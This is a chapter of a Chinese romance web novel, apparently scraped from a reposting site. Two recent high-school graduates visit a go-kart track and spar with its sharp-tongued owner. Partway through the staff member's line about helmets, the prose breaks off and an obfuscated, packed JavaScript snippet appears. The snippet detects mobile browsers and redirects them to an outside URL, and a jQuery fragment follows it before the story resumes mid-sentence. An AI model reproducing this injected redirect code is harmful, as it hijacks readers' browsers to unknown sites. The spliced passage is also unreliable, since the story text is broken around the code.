【「空」临江市最速藤原拓海:玩男人哪有骑摩托好玩?还是这种乳臭未干的男人!】 【「空」临江市最速藤原拓海:我不同意啊!】 【「空」临江市最速藤原拓海:我不同意!!!!!】 【「空」临江市最速藤原拓海:你这样我要跟石哥告状了,大好天气不练车不学好跟黄毛搞早恋不务正业!】 头顶是烈焰骄阳,地表温度直冲42°C,这样的“大好天气”中,少女拿着手机晃了晃。 【恐龙妹:你废话怎么那么多?】 【恐龙妹:手机都给你干死机了。】 【恐龙妹:是准前男友啊,你少管。】 下面的原海还站在那,两人隔空,隔着周围人山人海,扣字。 【「空」临江市最速藤原拓海:那还差不多。】 【「空」临江市最速藤原拓海:什么时候分?】 周围又是一阵骚动,原来是满脸汗湿的忍四车手这会儿抬起头,微微眯着眼,往看台这边直直看了过来。 【「空」临江市最速藤原拓海:快分!!!!!!!!!!】 13.什么好的不学 这时候,卫衍接了电话,是之前同行对摩托车和晒太阳都毫无兴趣,因此自觉留在前面卡丁车场候场的同行人打电话告诉他们,前面还有一组客人就轮到他们了,老板让他们先换衣服和护具。 他们买的卡丁车体验套餐大概是四十五分钟,但女生想拍照,可以先穿装备和选车拍照,免得浪费正经玩车时间。 吴蝶本来就对卡丁车毫无兴趣,她就是来拍照的——此时直接将脚下两位大概率要不到联系方式的酷哥扔到脑后,跳起来催促众人往回走。 酷哥是所有人的,拍的美美照发的朋友圈才是自己的。 孔绥和卫衍也并肩往外走,走着走着不知道怎么的就落到了队伍的最后面,卫衍手背碰了碰孔绥的指尖…… 后者下意识的躲了躲。 卫衍没说什么,一路都很安静,直到两人都返回至能够看到卡丁车新手赛道的建筑屋顶,他才突然开口:“小孔雀。” 孔绥侧头:“什么?” “你知不知道,其实我也挺没安全感的。” 卫衍目视前方。 孔绥困惑的眨眨眼。 “和你表白那天,如果可以其实我也不想搞得那么……兴师动众,好像在出洋相。” 卫衍慢吞吞地说,“但是考前我刷到个视频剪辑合集,发现好像一大堆人喜欢在高考最后一门结束的当天,抓着喜欢的人告白。” 孔绥问:“然后呢?” 卫衍笑了声:“我怕如果不是第一时间行动,我就来晚了。” 一句话给身边的小姑娘干沉默了,她看上去疑惑且困惑,茫然的听着卫衍列了一大串名单,从一班到他们班再到八班,都是高中时暗恋她的同学。 好几个孔绥连名字和脸都对不上号,其中一个,卫衍一脸无奈地提醒她是课间操,隔壁班站她旁边的那个。 还有班里的物理课代表,哇,孔绥听得只觉得卫衍在造谣:“谁?范文斌?有一次我有一张要交的卷子一时半会找不到,他站在桌子边‘啧‘我……不是——我们说的是一个范文斌吗?你确定他喜欢人类?” “……” 卫衍只想叹气。 “他‘啧‘你,‘啧‘完不也赖在你桌子旁边不肯走,你找卷子找了多久,他站在旁边等了你多久。” 孔绥心想:额。 她决定转移话题:“你突然说这个做什么?” 卫衍笑了笑:“虽然还在观察期,但是你都不能让我牵一下手,有点伤心吧……” 孔绥后槽牙都酸倒了,默默地把手塞到旁边的少年手中—— 少女柔软温暖的指尖,碰到身边人因为常年打排球颠球有一点薄茧的手腕,下一秒,就立刻被包进略微粗糙宽大的手掌中。 卫衍的手热烘烘的,贴着她的手背。 孔绥抬起头看了看头顶蔚蓝的天空,眼下的一切都符合任何她看过的纯爱向漫画或者小说…… 她试图感受自己的心跳如雷。 但不幸的发现什么都没有。 不知道为何顿时有些心虚,心跳反而加速一些,舔了舔有些干涩的唇,孔绥说:“下次想牵手直接说,不要搞那么多毫无根据的吓人铺垫。” “嗯?不算毫无根据。” 卫衍语气淡淡的,捏紧了一些掌心握着的手,像是在复述一个显而易见的事实。 “刚才在赛车场,那个骑ninja 400的车手,他也在抬头看你。” “……” 鹰眼在世。 孔绥拼命将自己的视线控制在正前方,像被狂风吹也不会动那种:“没发现。” “他看了你至少三次。” “……” 真的救命。 “可能是看吴蝶,她刚才有多吵你又不是不知道?” “我没瞎。”卫衍哼了一声,“有没有人看我女朋友我还感觉不到吗?” 孔绥没答,抬手把耳边的几缕碎发往耳后别了别,心想怪不得原本卫衍是和李源他们站在一起的,后来莫名其妙跑在她身边来,站着。 ……她又不是食盆里的狗骨头。 “被你说的我超受欢迎。” 卫衍低下头,瞥了身边的人一眼。 阳光下,少女皮肤白皙,鼻尖高挺小巧,被高温暴晒面颊浮着健康的红晕血色,唇瓣颜色很淡。 确实不是一眼惊艳的长相,但卫衍清楚,他和孔绥在一起那天能搞到那么惊天动地,像是高考后第一例爆炸新闻,那绝对不是他一个人的功劳。 很多男生私底下私聊明确表示过羡慕他。 少年“嗯”了一声,语调漫不经心,却又像是在挖坑:“行。你不受欢迎,刚才那个车手也没在看你。” “本来就是。是你幻想太多,而且就算他看我,应该也不是你想的那个意思。” 孔绥语气冷静。 卫衍侧头看了她一眼,目光在她脸上停了两秒,那表情像在看一个完全无情的生物——在这种场合下,他甚至有点欣慰。 他说不上来那种感觉。 只是更一步的确认如果那天不是他抢先告白,换一个长得还行的男生上,她也会稀里糊涂的答应的。 不是说她这个人“随便”,就是真正的“稀里糊涂”。 “OK。”卫衍说,“我想太多。” 那个车手长得不赖,听说还很有钱……他倒也没必要费尽心思给自己添个劲敌。 两人沉默下来。 继续往卡丁车的方向走,靠近赛道,孔绥一眼就看到身着工字背心的男人在卡丁车场边瞎晃,脚边是一个废弃的旧轮胎。 一只脚踩在那大概又是被哪位客人撞出来的轮胎上,男人单手叉腰,垂着眼,正在讲电话。 带着燥热微哑的低磁声音远远传来。 “你说的没错,我是少爷,我吃不了这份苦——我现在在想这卡丁车场要么客人入园提供智商检测报告,要么明天倒闭。” 电话里的人不知道说了什么,江在野响亮的冷笑了声。 “你不心疼我了,那个高中时看我篮球赛摔破膝盖会掉眼泪的江蓝宝是什么时候消逝于人海之中的……你这个狠心的女人。” 挂了电话,一转身,又跟毛茸茸的小鹿斑比四目相对。 小姑娘站在偏下方的位置仰头看过来,手还拽在另一个少年的手里…… 哦。 在谈恋爱啊。 什么好的不学,学人早恋。 唇角刻薄的挑了挑,江在野冷漠的转开了脑袋。 …… 少年少女与这个脾气很坏的家伙擦肩而过。 孔绥摇晃了下卫衍的手,调侃他:“刚才那个人也看我了,你怎么不说?” 卫衍“哦”了声:“不是一种眼神。” 孔绥:“他是哪种?” 卫衍想了想,摇摇头:“说不上来。” 不用说不上来,我来替你总结,那是想要把我原地用扫帚扫出去的眼神。 如果让他知道我是那位在你看来用深情款款的眼神看我的尊贵ninja 400车手的师父,这份“扫地出门”,还会多一个前序动作,比如—— 把我大卸八块后扔进垃圾袋系个死结再扫地出门。 …… 孔绥从工作人员的手中接过头套。 就是无论是骑摩托车还是抢银行都很常用的那种头套,戴上去整个脑袋都套住,从头发到嘴巴能捂得严严实实,只露出一双眼睛。 这种头套与美观无关,用途是能吸汗,小姐姐用也能防止化妆品蹭到头盔内衬上。 头套是套餐里包含的,某宝批发价应该不超过五块钱。 旁边的吴蝶把头套从塑料袋里掏出来,甩了甩:“这玩意真的是人戴的吗?戴上去我还拍个毛线照片?” “你可以最后再戴嘛,小妹妹。”旁边工作人员笑眯眯地说,“但是头盔是公用的,为了卫生还是要戴头套的哦,你也不想用那种一星期不洗头的二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602875|186728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百斤大汉用过的头盔,是叭?” 一句话完美的说服了在场所有拿着头套犹豫不决的人。 这时候工作人员引导大家去换装备—— 卡丁车的套餐里除了包括了免费的头套之外,还提供开卡丁车穿的连体防护服还有赛道头盔,因为是新开的店,所有的东西都很新。 虽然刚才站在太阳底下大言不惭地祝福自己明日倒闭,但其实江在野开这个地方也是花了些心思的…… 比如很多供给女生选择的S码头盔上还弄了点装饰。 就网上最常见的那种黏在头盔上的猫耳朵和可拆卸的各色蝴蝶结,连体防护服应该也是定制的,白色主色调,胳膊和大腿侧面有与头盔上各种蝴蝶结对应的配色。 这个新开的卡丁车场好评很多不是没有道理的。 吴蝶吵吵闹闹的问孔绥她合适哪个颜色的蝴蝶结,又问她猫耳朵是不是也蛮可爱—— 孔绥一边帮她选,自己没去拿那些糊了各种装饰的头盔。 因为这些都是认不出品牌的杂牌盔。 店里其实是有口碑不错的国产盔提供的。 就放在最前面的位置,孤零零的放在那,大概是因为头盔的版画太素,拢共没租出去几个。 安顿好吴蝶送她进去试衣间,孔绥绕着那个国产盔的架子看了一圈,远远的认出来品牌和型号……最近她在看新头盔,研究颇深,这些头盔放某宝双十一打完折也要一千多块钱。 ——那个刻薄鬼还真是蛮大方。 一边嘟囔着,她伸手踮脚想要去拿,然后发现架子太高,她一米六几的身高想要稳稳拿下,都有些勉强。 ——也没那么大方。 孔绥伸直了指尖把其中一个头盔往外勾,废了九牛二虎的劲儿也就把它往外挪了一点点。 就在这时,从后伸出一只长臂,苍劲修长的手指轻易一把握住头盔边缘将它取下。 紧绷的手臂内侧擦着孔绥的一侧头发,她嗅到了淡淡的汗水和烟草气息混合的味道,像烈日下暴晒过后的那种炙热,暖烘烘的笼罩下来。 “光长了嘴,不知道叫人帮忙?” 男人平静的声音在身后响起。 孔绥只感觉到一窜电流从她的后颈一路电光火石噼里啪啦的闪过颈椎—— 猛地转过身,只见方才还在外面打电话闹脾气的人不知道什么时候已经进来,此时此刻正站在她身后一个不远不近的距离,望着她。 “……哦。” 孔绥伸手去接他手上的头盔。 江在野挑了挑眉,从鼻腔里“嗯”“嗯”了两声,那声音真的很像在训一条不守规矩的小狗。 孔绥伸出去的手指僵在半空,抬起头看向他,心想这个神经病又想干什么? 江在野一只手拎着那其实还挺沉的头盔,随意抬了抬手,就举到一个孔绥够不到的高度。 “不说‘谢谢‘?” 他问。 ……………………我给了钱的。 来消费。 是顾客。 顾客是上帝。 这个人到底懂不懂? 算了。 他不懂。 小姑娘抿了抿唇,开口时声音挺倔:“你把我爸爸还给我,我就跟你说‘谢谢‘……说一百遍都行。” 江在野笑了。 “你叫声爸爸,我应一声——这是这件事唯一可行的途径。” “……” 啊啊啊啊啊!这个人!有毛病! 孔绥唇角抽了抽,纯纯气的,正搜刮脑子里能想到的骂人词汇,准备发表一番精彩绝伦的评论—— 就在这时,怀中一沉。 那个头盔落进了她的怀里。 当她因为生气瞪圆的眼都没来得及落回原本的大小,面颊边一缕乌发被伸过来的大手,拽了拽。 “不用谢。” 男人居高临下垂眸欣赏小姑娘脸上情绪精彩变化,一边懒洋洋地说。